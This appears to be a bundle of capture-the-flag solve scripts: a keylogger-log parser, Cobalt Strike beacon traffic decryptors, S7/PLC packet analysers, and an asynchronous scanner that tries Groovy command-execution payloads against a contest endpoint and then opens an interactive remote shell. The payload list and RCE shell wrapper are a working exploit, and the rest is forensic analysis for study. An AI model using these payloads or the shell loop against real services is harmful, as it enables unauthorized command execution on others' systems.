import struct
from datetime import datetime

# Linux /usr/include/linux/input-event-codes.h 的部分键码映射
KEY_MAP = {
    1: '[ESC]', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
    12: '-', 13: '=', 14: '[BACKSPACE]', 15: '[TAB]', 16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't',
    21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: '[ENTER]', 29: '[L_CTRL]',
    30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';',
    40: "'", 41: '`', 42: '[L_SHIFT]', 43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b',
    49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 54: '[R_SHIFT]', 55: '[KP*]', 56: '[L_ALT]',
    57: ' ', 58: '[CAPS_LOCK]', 59: '[F1]', 60: '[F2]', 61: '[F3]', 62: '[F4]', 63: '[F5]',
    64: '[F6]', 65: '[F7]', 66: '[F8]', 67: '[F9]', 68: '[F10]', 69: '[NUM_LOCK]',
    70: '[SCROLL_LOCK]', 96: '[KP_ENTER]', 97: '[R_CTRL]', 98: '[KP_/]', 100: '[R_ALT]',
    102: '[HOME]', 103: '[UP]', 104: '[PGUP]', 105: '[LEFT]', 106: '[RIGHT]', 107: '[END]',
    108: '[DOWN]', 109: '[PGDN]', 110: '[INSERT]', 111: '[DELETE]', 125: '[WIN_KEY]'
}

SHIFT_MAP = {
    '`': '~', '1': '!', '2': '@', '3': '#', '4': '$', '5': '%', '6': '^', '7': '&', '8': '*', '9': '(',
    '0': ')', '-': '_', '=': '+', '[': '{', ']': '}', '\\': '|', ';': ':', "'": '"', ',': '<', '.': '>',
    '/': '?'
}

def analyze_linux_input_log(filepath):
    """
    解析基于Linux input_event结构的文件
    """
    try:
        with open(filepath, 'rb') as f:
            data = f.read()
    except FileNotFoundError:
        print(f"错误: 文件未找到 '{filepath}'")
        return

    record_size = 24
    records_count = len(data) // record_size
    
    print(f"成功读取文件: {filepath} ({len(data)} 字节)")
    print(f"解析 {records_count} 条Linux input_event记录。\n")
    print("-" * 80)

    shift_pressed = False
    output = ""
    last_ts_sec = 0

    for i in range(records_count):
        offset = i * record_size
        try:
            # < : Little-endian
            # L : tv_sec (unsigned long, 4 or 8 bytes, let's assume 8 for 64-bit with padding)
            # Q : tv_usec (unsigned long long, 8 bytes)
            # H : type (unsigned short, 2 bytes)
            # H : code (unsigned short, 2 bytes)
            # i : value (signed int, 4 bytes)
            # We use QQHHi to match 8+8+2+2+4 = 24 bytes
            tv_sec, tv_usec, ev_type, ev_code, ev_value = \
                struct.unpack_from('<QQHHi', data, offset)

        except struct.error as e:
            print(f"\n错误: 无法在偏移量 {offset} 处解包记录: {e}")
            continue

        # 仅处理按键事件 (EV_KEY = 1)
        if ev_type == 1:
            if ev_code in [42, 54]: # KEY_LEFTSHIFT or KEY_RIGHTSHIFT
                shift_pressed = (ev_value == 1 or ev_value == 2) # 1=press, 2=repeat
                continue

            # 只在按键被按下或重复时记录
            if ev_value == 1 or ev_value == 2:
                char = KEY_MAP.get(ev_code, f'[KEY_0x{ev_code:X}]')
                
                # 处理Shift键
                if shift_pressed:
                    if len(char) == 1 and char.isalpha():
                        output += char.upper()
                    else:
                        output += SHIFT_MAP.get(char, char)
                else:
                    output += char

        # 同步事件 (EV_SYN = 0) 通常表示一次完整输入动作的结束
        elif ev_type == 0:
            if output:
                # 打印时间戳（仅当秒数变化时）
                if tv_sec != last_ts_sec:
                    dt = datetime.fromtimestamp(tv_sec)
                    print(f"\n--- {dt.strftime('%Y-%m-%d %H:%M:%S')} ---")
                    last_ts_sec = tv_sec
                
                print(output.replace("[ENTER]", "\n"), end="")
                output = ""

    # 打印文件中最后未同步的内容
    if output:
        print(output.replace("[ENTER]", "\n"))

    print("\n" + "-" * 80)
    print("分析完成。")


if __name__ == "__main__":
    log_file = "NepBot_keylogger"
    analyze_linux_input_log(log_file)

'''
cobaltstrike任务解密
'''
import hmac
import binascii
import base64
import struct

import hexdump
from Crypto.Cipher import AES

def compare_mac(mac, mac_verif):
	if mac == mac_verif:
		return True
	if len(mac) != len(mac_verif):
		print
		"invalid MAC size"
		return False

	result = 0

	for x, y in zip(mac, mac_verif):
		result |= x ^ y

	return result == 0


def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
	if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
		print("message authentication failed")
		return

	cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
	data = cypher.decrypt(encrypted_data)
	return data


def readInt(buf):
	return struct.unpack('>L', buf[0:4])[0]

# 接收到的任务数据
shell_whoami= "AlN4TuhtP8VGk7t+4U9A1kcARGpGBMoAVBA7qE4agx0qNpxQHiolIqvdn1/nZSoW/SQmafaxD7UuiysDKnrgD2slqM7N/95y2t8aGMEiX5I="

if __name__ == "__main__":
	# key源自Beacon_metadata_RSA_Decrypt.py
	SHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
	HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")

	enc_data = base64.b64decode(shell_whoami)
	print("数据总长度:{}".format(len(enc_data)))
	signature = enc_data[-16:]
	encrypted_data = enc_data[:-16]

	iv_bytes = bytes("abcdefghijklmnop",'utf-8')

	dec = decrypt(encrypted_data,iv_bytes,signature,SHARED_KEY,HMAC_KEY)

	counter = readInt(dec)
	print("时间戳:{}".format(counter))

	decrypted_length = readInt(dec[4:])
	print("任务数据包长度:{}".format(decrypted_length))

	data = dec[8:len(dec)]
	print("任务Data")
	print(hexdump.hexdump(data))

	# 任务标志
	Task_Sign=data[0:4]
	print("Task_Sign:{}".format(Task_Sign))

	# 实际的任务数据长度
	Task_file_len = int.from_bytes(data[4:8], byteorder='big', signed=False)
	print("Task_file:{}".format(Task_file_len))

	with open('data.bin', 'wb') as f:
		f.write(data[8:Task_file_len])

	print(hexdump.hexdump(data[Task_file_len:]))

# -*- coding: utf-8 -*-

'''
Beacon任务执行结果解密
'''
import hmac
import binascii
import base64
import struct
import hexdump
from Crypto.Cipher import AES

def compare_mac(mac, mac_verif):
	if mac == mac_verif:
		return True
	if len(mac) != len(mac_verif):
		print
		"invalid MAC size"
		return False

	result = 0

	for x, y in zip(mac, mac_verif):
		result |= x ^ y

	return result == 0

def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
	if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
		print("message authentication failed")
		return

	cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
	data = cypher.decrypt(encrypted_data)
	return data

# key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")

encrypt_data="AAAAUDUMp/Q3nzDMnW1nHbiG02BpHHRGcVbmDoNWclri87iAswLqi1VW3xAyToblPsuEBGZGoXWOnLjH/KQtZgYXvkZ2J6vMPAzjvT6TwC//y006"

encrypt_data=base64.b64decode(encrypt_data)

encrypt_data_length=encrypt_data[0:4]

encrypt_data_length=int.from_bytes(encrypt_data_length, byteorder='big', signed=False)

encrypt_data_l = encrypt_data[4:len(encrypt_data)]

data1=encrypt_data_l[0:encrypt_data_length-16]
signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')

dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)


counter = dec[0:4]
counter=int.from_bytes(counter, byteorder='big', signed=False)
print("counter:{}".format(counter))

dec_length = dec[4:8]
dec_length=int.from_bytes(dec_length, byteorder='big', signed=False)
print("任务返回长度:{}".format(dec_length))

de_data= dec[8:len(dec)]
Task_type=de_data[0:4]
Task_type=int.from_bytes(Task_type, byteorder='big', signed=False)
print("任务输出类型:{}".format(Task_type))

# print(de_data[4:dec_length].decode('utf-8'))
print(de_data[4:dec_length])

print(hexdump.hexdump(dec))

import asyncio
import aiohttp
import sys

# --- 配置区 ---
URL = "https://nepctf31-y6w3-pjmd-y50k-6n6r0yvr2456.nepctf.com/run"
PAYLOADS = [
    '"id".execute().text',
    '("i"+"d").execute().text',
    '["i","d"].join("").execute().text',
    "['/bin/sh', '-c', 'id'].execute().text",
    'new ProcessBuilder("id").start().text',
    'this.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()',
    "Class.forName('java.lang.ProcessBuilder').getConstructor([String[].class]).newInstance((Object) ['id'] as String[]).start().text",
    '@groovy.transform.ASTTest(value={ assert "id".execute().text }) ""',
    'String.metaClass.execute = { -> "id".execute().text }; "".execute()',
    '{-> "id".execute().text}()',
]

# --- 脚本主逻辑 ---

async def send_command(session: aiohttp.ClientSession, payload: str):
    """发送单个命令并返回结果"""
    headers = {'Content-Type': 'text/plain'}
    try:
        async with session.post(URL, data=payload, headers=headers, timeout=10) as response:
            return await response.text()
    except Exception as e:
        return f"请求失败: {e}"

async def test_payload(session: aiohttp.ClientSession, payload: str, rce_found_event: asyncio.Event, found_payload_info: dict):
    """测试单个payload，如果成功则设置事件"""
    if rce_found_event.is_set():
        return

    result = await send_command(session, payload)
    
    if "uid=" in result and "gid=" in result:
        if not rce_found_event.is_set():
            print("\n" + "="*50)
            print(">>>  🎉 成功！找到可用的 RCE Payload!  🎉")
            print(f">>>  Payload: {payload}")
            print(f">>>  响应: {result.strip()}")
            print("="*50 + "\n")
            found_payload_info['payload'] = payload
            rce_found_event.set()

async def interactive_shell(session: aiohttp.ClientSession, working_payload: str):
    """启动一个交互式 shell 来发送命令"""
    
    # ####################################################################
    # #  关键改动在这里！                                                #
    # #  我们现在尝试替换多种可能的命令模式                              #
    # ####################################################################
    payload_template = None
    command_patterns_to_replace = [
        '("i"+"d")',          # 对应 ("i"+"d").execute().text
        '"id"',               # 对应 "id".execute().text
        '["i","d"]',          # 对应 ["i","d"].join("").execute().text
        "['/bin/sh', '-c', 'id']", # 对应 ...
        # 注意：这里的替换逻辑是简单的字符串替换，可能需要根据具体payload微调。
        # 例如，对于ASTTest，可能需要替换里面的 "id"
    ]

    # 尝试自动创建模板
    for pattern in command_patterns_to_replace:
        if pattern in working_payload:
            # 对于拼接字符串，我们需要用 "{cmd}" 替换，让它成为一个 Groovy 变量
            # 对于其他情况，我们可能需要用 '"{cmd}"' 替换，让它成为一个字符串
            # 这里我们统一用 '"{cmd}"'，这在大多数情况下更通用
            # payload_template = working_payload.replace(pattern, '"{cmd}"')
            # 修正：对于 ("i"+"d") 这种，应该替换成 ("{cmd}")
            if pattern == '("i"+"d")':
                payload_template = working_payload.replace(pattern, '("{cmd}")')
            else:
                 payload_template = working_payload.replace(pattern, '"{cmd}"')

            break
    
    # 如果自动创建失败，则进入手动模式
    if not payload_template:
         print(f"[!] 警告：无法自动创建命令模板。")
         print(f"[!] 成功的 Payload 是: {working_payload}")
         manual_cmd_part = input("[?] 请**精确**输入上面Payload中代表命令的部分进行替换 (例如: \"i\"+\"d\" ): ")
         if manual_cmd_part:
             payload_template = working_payload.replace(manual_cmd_part, '"{cmd}"')
         else:
             print("[!] 输入为空，无法创建模板，退出。")
             return


    print("--- 开启交互式 RCE 终端 ---")
    print("输入 'exit' 或 'quit' 退出。")
    print(f"使用的 Payload 模板: {payload_template}\n")

    while True:
        try:
            cmd = input("[RCE Shell] $ ")
            if cmd.lower() in ['exit', 'quit']:
                print("终端已退出。")
                break
            if not cmd:
                continue

            # 将用户输入的命令填入模板，转义双引号防止注入破坏
            safe_cmd = cmd.replace('"', '\\"')
            final_payload = payload_template.format(cmd=safe_cmd)
            
            print("...发送中...")
            response_text = await send_command(session, final_payload)
            print("\n--- [服务器响应] ---\n" + response_text.strip() + "\n" + "-"*20 + "\n")

        except KeyboardInterrupt:
            print("\n终端已退出。")
            break
        except Exception as e:
            print(f"发生错误: {e}")

async def main():
    rce_found_event = asyncio.Event()
    found_payload_info = {'payload': None}
    async with aiohttp.ClientSession() as session:
        print("--- 开始并发扫描 Payload ---")
        tasks = [test_payload(session, p, rce_found_event, found_payload_info) for p in PAYLOADS]
        await asyncio.gather(*tasks)

        if found_payload_info['payload']:
            await interactive_shell(session, found_payload_info['payload'])
        else:
            print("\n--- 扫描完成 ---")
            print("[!] 未能在列表中找到可用的 RCE Payload。")

if __name__ == "__main__":
    if sys.platform == "win32":
        asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
    
    asyncio.run(main())

#!/usr/bin/env python3
from pwn import *

# --- 配置 ---
HOST = "nepctf30-5qbd-u00j-45hi-9vvqo4prp833.nepctf.com"
PORT = 443
# context.log_level = 'debug'

# --- 规则参数 ---
DB_NUMBER_BYTES = b'\x03\xea' # DB 1002
LONG_PACKET_THRESHOLD = 30 # 用于区分真实数据请求和简短ACK的长度阈值
MALFORMED_SHORT_PACKET_LENGTH = 25 # 我们发现的恶意短包的特定长度

# --- 连接服务器 ---
p = remote(HOST, PORT, ssl=True)

# --- 选择功能1 ---
p.sendlineafter(b'> ', b'1')
log.info("已选择功能1")
p.recvuntil(b'the correct data unit reference should be 2300.\n    \n')

try:
    for i in range(100):
        # 接收并打印服务器提示
        prompt_line = p.recvline().decode().strip()
        log.info(f"收到提示: {prompt_line}")
        
        # 接收并解析报文
        data_line = p.recvline().strip()
        try:
            raw_bytes = eval(data_line)
        except Exception as e:
            log.error(f"无法解析报文: {data_line}, 错误: {e}")
            break

        # 提取关键信息
        depth = raw_bytes[0]
        cotp_param = raw_bytes[9]
        s7_packet = raw_bytes[3:]
        tpkt_length = u16(s7_packet[2:4], endian='big')
        
        # --- 判断逻辑 ---
        is_malicious = False
        reason = "判定为正常 (未命中任何恶意规则)"

        # 规则A: 非法功能调用
        if cotp_param != 0x80:
            is_malicious = True
            reason = f"恶意 (规则A): COTP参数为 {hex(cotp_param)} (非0x80)。"
        
        # 规则B: 访问非法区域
        elif b'P_PROGRAM' in raw_bytes:
            is_malicious = True
            reason = f"恶意 (规则B): 报文中包含 'P_PROGRAM' 关键字。"
        
        # 规则C: 畸形的短包
        elif tpkt_length == MALFORMED_SHORT_PACKET_LENGTH:
             is_malicious = True
             reason = f"恶意 (规则C): 发现TPKT长度为 {tpkt_length} 的畸形短包。"
        
        # --- 打印分析过程和结果 ---
        print("-" * 60)
        log.info(f"正在分析 Packet {i} (depth={depth})")
        print(f"  - 原始数据 (hex): {raw_bytes.hex()}")
        print(f"  - TPKT 长度: {tpkt_length}, COTP 参数: {hex(cotp_param)}")

        # --- 发送判断并打印 ---
        decision = '1' if is_malicious else '0'
        if is_malicious:
            log.warning(reason)
        else:
            log.success(reason)
            
        p.sendlineafter(b'/ SIEM > ', decision.encode())
        print(f"  - 已发送判断: '{decision}'")
        print("-" * 60)

    log.success("所有100个报文处理完毕")
    p.interactive()

except Exception as e:
    log.error(f"脚本出现异常: {e}")
finally:
    p.close()

import re
import csv
import os

def extract_s7_data(input_file, output_file):
    """
    Parses a Wireshark-like text dump to extract S7 "Read Var" requests 
    and their corresponding "Ack_Data" responses, then saves them to a CSV file.

    Args:
        input_file (str): The path to the input text file (e.g., 'b.txt').
        output_file (str): The path to the output CSV file.
    """
    if not os.path.exists(input_file):
        print(f"Error: Input file '{input_file}' not found.")
        return

    try:
        with open(input_file, 'r', encoding='utf-8') as f:
            content = f.read()
    except Exception as e:
        print(f"Error reading file: {e}")
        return

    # Split the entire text file into individual frame chunks.
    # The initial split creates an empty string at the beginning, so we slice it off.
    frames_text = re.split(r'\nFrame ', content)
    if frames_text:
        frames_text[0] = frames_text[0].replace('--- START OF FILE b.txt ---\n\nFrame ', '', 1)

    extracted_data = []
    
    # Regex patterns to find request and response frames and their data
    request_pattern = re.compile(
        r'^(?P<req_frame>\d+):.*?'
        r'ROSCTR: Job \(1\).*?'
        r'Function: Read Var.*?'
        r'Item \[1\]: \((?P<address>DB \d+\.DBX \d+\.\d+ BYTE 1)\)',
        re.DOTALL | re.MULTILINE
    )
    
    response_pattern = re.compile(
        r'^(?P<res_frame>\d+):.*?'
        r'ROSCTR: Ack_Data \(3\).*?'
        r'Data: (?P<value>\w+)',
        re.DOTALL | re.MULTILINE
    )

    i = 0
    while i < len(frames_text):
        # Look for a request frame
        match_request = request_pattern.search(frames_text[i])
        
        if match_request:
            req_frame_num = match_request.group('req_frame')
            address = match_request.group('address')
            
            # Search for the *next* response frame
            j = i + 1
            while j < len(frames_text):
                match_response = response_pattern.search(frames_text[j])
                if match_response:
                    res_frame_num = match_response.group('res_frame')
                    # The value is returned in hexadecimal, convert to decimal integer
                    value = int(match_response.group('value'), 16)
                    
                    # Store the complete transaction
                    extracted_data.append([req_frame_num, address, res_frame_num, value])
                    break  # Found the response, stop searching
                j += 1
        i += 1

    # Write the extracted data to the CSV file
    try:
        with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:
            writer = csv.writer(csvfile)
            writer.writerow(['Request Frame', 'Address Read', 'Response Frame', 'Value (Decimal)'])
            writer.writerows(extracted_data)
        print(f"✅ Successfully extracted {len(extracted_data)} data points to '{output_file}'")
    except Exception as e:
        print(f"Error writing to CSV file: {e}")

# --- Main execution ---
if __name__ == "__main__":
    extract_s7_data('a.txt', 'plc_data.csv')

import csv
import re

def solve_plc_puzzle(csv_file_path):
    """
    Reads the extracted PLC data from a CSV, sorts it by memory address,
    and decodes the hidden ASCII messages.

    Args:
        csv_file_path (str): The path to the input CSV file.
    """
    # Dictionaries to store data, mapping a sortable address tuple to its value
    # Format: {(byte_address, bit_address): value}
    db_1002_data = {}
    db_1003_data = {}

    # Regex to parse the address string like "DB 1002.DBX 1002.0 BYTE 1"
    address_pattern = re.compile(r'DB (\d+)\.DBX (\d+)\.(\d+)')

    try:
        with open(csv_file_path, 'r', newline='', encoding='utf-8') as f:
            reader = csv.DictReader(f)
            for row in reader:
                address_str = row['Address Read']
                # The CSV has space before the value header, handle it.
                value = int(row['Value (Decimal)'])
                
                match = address_pattern.match(address_str)
                if not match:
                    continue

                db_num = int(match.group(1))
                byte_addr = int(match.group(2))
                bit_addr = int(match.group(3))
                
                # Use a tuple of integers for easy and correct sorting
                sortable_address = (byte_addr, bit_addr)

                if db_num == 1002:
                    db_1002_data[sortable_address] = value
                elif db_num == 1003:
                    db_1003_data[sortable_address] = value

    except FileNotFoundError:
        print(f"Error: The file '{csv_file_path}' was not found.")
        return
    except Exception as e:
        print(f"An error occurred: {e}")
        return

    # Sort the dictionary keys (addresses) to get the correct logical order
    sorted_keys_1002 = sorted(db_1002_data.keys())
    sorted_keys_1003 = sorted(db_1003_data.keys())
    
    # Convert the sorted values to characters and join them into a string
    # We ignore null bytes (value 0) as they are often used as terminators or padding
    message_1002 = "".join([chr(db_1002_data[key]) for key in sorted_keys_1002 if db_1002_data[key] != 0])
    message_1003 = "".join([chr(db_1003_data[key]) for key in sorted_keys_1003 if db_1003_data[key] != 0])

    print("✅ Data processed successfully. Here is the restored content:\n")
    print("="*40)
    print("🔍 Content from Data Block 1002:")
    print("="*40)
    print(message_1002)
    print("\n")
    print("="*40)
    print("🔍 Content from Data Block 1003:")
    print("="*40)
    print(message_1003)
    print("\n")


# --- Main execution ---
if __name__ == "__main__":
    solve_plc_puzzle('plc_data.csv')